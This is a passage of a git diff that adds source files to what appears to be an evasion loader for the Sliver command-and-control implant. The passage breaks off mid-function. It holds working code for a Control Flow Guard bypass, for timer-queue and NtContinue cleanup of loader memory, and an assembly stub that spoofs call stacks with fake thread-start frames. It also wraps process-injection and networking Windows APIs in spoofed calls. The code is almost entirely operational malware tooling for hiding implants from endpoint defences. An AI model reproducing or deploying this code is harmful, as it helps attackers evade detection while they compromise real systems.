status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { + return FALSE; + } + + cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; + cti.Flags = CFG_CALL_TARGET_VALID; + + mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; + mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; + + ULONG output = 0; + + vmi.dwNumberOfOffsets = 0x1; + vmi.plOutput = &output; + vmi.ptOffsets = &cti; + vmi.pMustBeZero = 0x0; + vmi.pMoarZero = 0x0; + + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); + + if ( status == 0xC00000F4 ) + { + /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); + } + + if ( ! NT_SUCCESS ( status ) ) + { + /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ + if ( status == 0xC0000045 ) + { + /* pretend we bypassed it so timers can continue */ + return TRUE; + } + + return FALSE; + } + + return TRUE; +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/cfg.h b/crystal-kit-sliver/loader/src/cfg.h new file mode 100644 index 0000000..2a538cb --- /dev/null +++ b/crystal-kit-sliver/loader/src/cfg.h @@ -0,0 +1,2 @@ +BOOL cfg_enabled ( ); +BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/cleanup.c b/crystal-kit-sliver/loader/src/cleanup.c new file mode 100644 index 0000000..e87f29b --- /dev/null +++ b/crystal-kit-sliver/loader/src/cleanup.c @@ -0,0 +1,97 @@ +#include +#include "memory.h" +#include "cfg.h" +#include "tcg.h" + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); +DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); + +void cleanup_memory ( MEMORY_LAYOUT * memory ) +{ + /* is cfg enabled? */ + BOOL enabled = cfg_enabled ( ); + + if ( enabled ) { + /* try to bypass it at NtContinue */ + if ( bypass_cfg ( NTDLL$NtContinue ) ) { + enabled = FALSE; + } + } + + /* + * just return if we + * failed to bypass it + */ + + if ( enabled ) { + return; + } + + /* + * crack on and setup a timer + * to free the memory regions + */ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; + + HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; + + if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) + { + /* give RtlCaptureContext a chance to run */ + KERNEL32$Sleep ( 100 ); + + if ( ctx.Rip != 0 ) + { + #define CTX_COUNT 3 + + HANDLE heap = KERNEL32$GetProcessHeap ( ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT ); + + for ( int i = 0; i < CTX_COUNT; i++ ) { + memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); + } + + /* + * we use VirtualFree here because + * the loader uses VirtualAlloc + */ + + /* the dll */ + ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); + ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* pico code */ + ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code ); + ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* pico data */ + ctx_free[ 2 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data ); + ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* give a decent delay so ExitThread has time to be called */ + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + } + } +} \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/cleanup.h b/crystal-kit-sliver/loader/src/cleanup.h new file mode 100644 index 0000000..ebdd31f --- /dev/null +++ b/crystal-kit-sliver/loader/src/cleanup.h @@ -0,0 +1 @@ +void cleanup_memory ( MEMORY_LAYOUT * memory ); \ No newline at end of file diff --git a/crystal-kit-sliver/loader/src/draugr.asm b/crystal-kit-sliver/loader/src/draugr.asm new file mode 100644 index 0000000..a736300 --- /dev/null +++ b/crystal-kit-sliver/loader/src/draugr.asm @@ -0,0 +1,147 @@ +[BITS 64] + + draugr_stub: + pop rax ; Real return address in rax + + mov r10, rdi ; Store OG rdi in r10 + mov r11, rsi ; Store OG rsi in r11 + + mov rdi, [ rsp + 32 ] ; Storing struct in rdi + mov rsi, [ rsp + 40 ] ; Storing function to call + + ; --------------------------------------------------------------------- + ; Storing our original registers + ; --------------------------------------------------------------------- + + mov [ rdi + 24 ], r10 ; Storing OG rdi into param + mov [ rdi + 88 ], r11 ; Storing OG rsi into param + mov [ rdi + 96 ], r12 ; Storing OG r12 into param + mov [ rdi + 104 ], r13 ; Storing OG r13 into param + mov [ rdi + 112 ], r14 ; Storing OG r14 into param + mov [ rdi + 120 ], r15 ; Storing OG r15 into param + + mov r12, rax ; OG code used r12 for ret addr + + ; --------------------------------------------------------------------- + ; Prepping to move stack args + ; --------------------------------------------------------------------- + + xor r11, r11 ; r11 will hold the # of args that have been "pushed" + mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed + + mov r14, 0x200 ; r14 will hold the offset we need to push stuff + add r14, 8 + add r14, [ rdi + 56 ] ; stack size of RUTS + add r14, [ rdi + 48 ] ; stack size of BTIT + add r14, [ rdi + 32 ] ; stack size of our gadget frame + sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time + + mov r10, rsp + add r10, 0x30 ; offset of stack arg added to rsp + + looping: + xor r15, r15 ; r15 will hold the offset + rsp base + cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add + je finish + + ; --------------------------------------------------------------------- + ; Getting location to move the stack arg to + ; --------------------------------------------------------------------- + + sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. + mov r15, rsp ; get current stack base + sub r15, r14 ; subtract offset + + ; --------------------------------------------------------------------- + ; Procuring the stack arg + ; --------------------------------------------------------------------- + + add r10, 8 + + push qword [ r10 ] + pop qword [ r15 ] + + ; --------------------------------------------------------------------- + ; Increment the counter and loop back in case we need more args + ; --------------------------------------------------------------------- + add r11, 1 + jmp looping + + finish: + + ; ---------------------------------------------------------------------- + ; Creating a big 320 byte working space + ; ---------------------------------------------------------------------- + + sub rsp, 0x200 + + ; ---------------------------------------------------------------------- + ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. + ; Need to figure out why this cuts off the call stack + ; ---------------------------------------------------------------------- + + push 0 + + ; ---------------------------------------------------------------------- + ; RtlUserThreadStart + 0x14 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 56 ] + mov r11, [ rdi + 64 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; BaseThreadInitThunk + 0x21 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 32 ] + mov r11, [ rdi + 40 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Gadget frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 48 ] + mov r11, [ rdi + 80 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Adjusting the param struct for the fixup + ; ---------------------------------------------------------------------- + + mov r11, rsi ; Copying function to call into r11 + + mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member + mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member + lea rbx, [ rel fixup ] ; Fixup address is moved into rbx + mov [ rdi ], rbx ; Fixup member now holds the address of Fixup + mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx + + ; ---------------------------------------------------------------------- + ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made + ; ---------------------------------------------------------------------- + mov r10, rcx + mov rax, [ rdi + 72 ] + + jmp r11 + + fixup: + mov rcx, rbx + add rsp, 0x200 ; Big frame thing + add rsp, [ rbx + 48 ] ; Stack size + add rsp, [ rbx + 32 ] ; Stack size + add rsp, [ rbx + 56 ] ; Stack size + + mov rbx, [ rcx + 16 ] ; Restoring OG RBX + mov rdi, [ rcx + 24 ] ; ReStoring OG rdi + mov rsi, [ rcx + 88 ] ; ReStoring OG rsi + mov r12, [ rcx + 96 ] ; ReStoring OG r12 + mov r13, [ rcx + 104 ] ; ReStoring OG r13 + mov r14, [ rcx + 112 ] ; ReStoring OG r14 + mov r15, [ rcx + 120 ] ; ReStoring OG r15 + push rax + + xor rax, rax + pop rax + jmp QWORD [ rcx + 8 ] diff --git a/crystal-kit-sliver/loader/src/hooks.c b/crystal-kit-sliver/loader/src/hooks.c new file mode 100644 index 0000000..b6f88e4 --- /dev/null +++ b/crystal-kit-sliver/loader/src/hooks.c @@ -0,0 +1,464 @@ +#include +#include +#include +#include +#include "spoof.h" + +DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD ); +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); +DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); +DECLSPEC_IMPORT SOCKET WINAPI WS2_32$WSASocketA ( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD ); +DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup ( WORD, LPWSADATA ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$HttpSendRequestA ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hRequest ); + call.args [ 1 ] = spoof_arg ( lpszHeaders ); + call.args [ 2 ] = spoof_arg ( dwHeadersLength ); + call.args [ 3 ] = spoof_arg ( lpOptional ); + call.args [ 4 ] = spoof_arg ( dwOptionalLength ); + + return ( BOOL ) spoof_call ( &call ); +} + +HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetOpenA ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( lpszAgent ); + call.args [ 1 ] = spoof_arg ( dwAccessType ); + call.args [ 2 ] = spoof_arg ( lpszProxy ); + call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); + call.args [ 4 ] = spoof_arg ( dwFlags ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$InternetConnectA ); + call.argc = 8; + + call.args [ 0 ] = spoof_arg ( hInternet ); + call.args [ 1 ] = spoof_arg ( lpszServerName ); + call.args [ 2 ] = spoof_arg ( nServerPort ); + call.args [ 3 ] = spoof_arg ( lpszUserName ); + call.args [ 4 ] = spoof_arg ( lpszPassword ); + call.args [ 5 ] = spoof_arg ( dwService ); + call.args [ 6 ] = spoof_arg ( dwFlags ); + call.args [ 7 ] = spoof_arg ( dwContext ); + + return ( HINTERNET ) spoof_call ( &call ); +} + +int WINAPI _WSAStartup ( WORD wVersionRequested, LPWSADATA lpWSAData ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WS2_32$WSAStartup ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( wVersionRequested ); + call.args [ 1 ] = spoof_arg ( lpWSAData ); + + return ( int ) spoof_call ( &call ); +} + +SOCKET WINAPI _WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WS2_32$WSASocketA ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( af ); + call.args [ 1 ] = spoof_arg ( type ); + call.args [ 2 ] = spoof_arg ( protocol ); + call.args [ 3 ] = spoof_arg ( lpProtocolInfo ); + call.args [ 4 ] = spoof_arg ( g ); + call.args [ 5 ] = spoof_arg ( dwFlags ); + + return ( SOCKET ) spoof_call ( &call ); +} + +BOOL WINAPI _CloseHandle ( HANDLE hObject ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hObject ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( hFile ); + call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); + call.args [ 2 ] = spoof_arg ( flProtect ); + call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); + call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); + call.args [ 5 ] = spoof_arg ( lpName ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL WINAPI _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); + call.argc = 10; + + call.args [ 0 ] = spoof_arg ( lpApplicationName ); + call.args [ 1 ] = spoof_arg ( lpCommandLine ); + call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); + call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 4 ] = spoof_arg ( bInheritHandles ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpEnvironment ); + call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); + call.args [ 8 ] = spoof_arg ( lpStartupInfo ); + call.args [ 9 ] = spoof_arg ( lpProcessInformation ); + + return ( BOOL ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 2 ] = spoof_arg ( dwStackSize ); + call.args [ 3 ] = spoof_arg ( lpStartAddress ); + call.args [ 4 ] = spoof_arg ( lpParameter ); + call.args [ 5 ] = spoof_arg ( dwCreationFlags ); + call.args [ 6 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); + call.args [ 1 ] = spoof_arg ( dwStackSize ); + call.args [ 2 ] = spoof_arg ( lpStartAddress ); + call.args [ 3 ] = spoof_arg ( lpParameter ); + call.args [ 4 ] = spoof_arg ( dwCreationFlags ); + call.args [ 5 ] = spoof_arg ( lpThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( rclsid ); + call.args [ 1 ] = spoof_arg ( pUnkOuter ); + call.args [ 2 ] = spoof_arg ( dwClsContext ); + call.args [ 3 ] = spoof_arg ( riid ); + call.args [ 4 ] = spoof_arg ( ppv ); + + return ( HRESULT ) spoof_call ( &call ); +} + +BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); + call.argc = 7; + + call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); + call.args [ 1 ] = spoof_arg ( hSourceHandle ); + call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); + call.args [ 3 ] = spoof_arg ( lpTargetHandle ); + call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 5 ] = spoof_arg ( bInheritHandle ); + call.args [ 6 ] = spoof_arg ( dwOptions ); + + return ( BOOL ) spoof_call ( &call ); +} + +HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + return ( HMODULE ) spoof_call ( &call ); +} + +BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hFileMappingObject ); + call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); + call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); + call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); + + return ( LPVOID ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwProcessId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); + call.args [ 1 ] = spoof_arg ( bInheritHandle ); + call.args [ 2 ] = spoof_arg ( dwThreadId ); + + return ( HANDLE ) spoof_call ( &call ); +} + +BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpBaseAddress ); + call.args [ 2 ] = spoof_arg ( lpBuffer ); + call.args [ 3 ] = spoof_arg ( nSize ); + call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); + + return ( BOOL ) spoof_call ( &call ); +} + +DWORD WINAPI _ResumeThread ( HANDLE hThread ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( hThread ); + + return ( DWORD ) spoof_call ( &call ); +} + +BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( hThread ); + call.args [ 1 ] = spoof_arg ( lpContext ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpBaseAddress ); + + return ( BOOL ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flAllocationType ); + call.args [ 3 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hProcess ); + call.args [ 1 ] = spoof_arg ( lpAddress ); + call.args [ 2 ] = spoof_arg ( dwSize ); + call.args [ 3 ] = spoof_arg ( flAllocationType ); + call.args [ 4 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( dwFreeType ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + 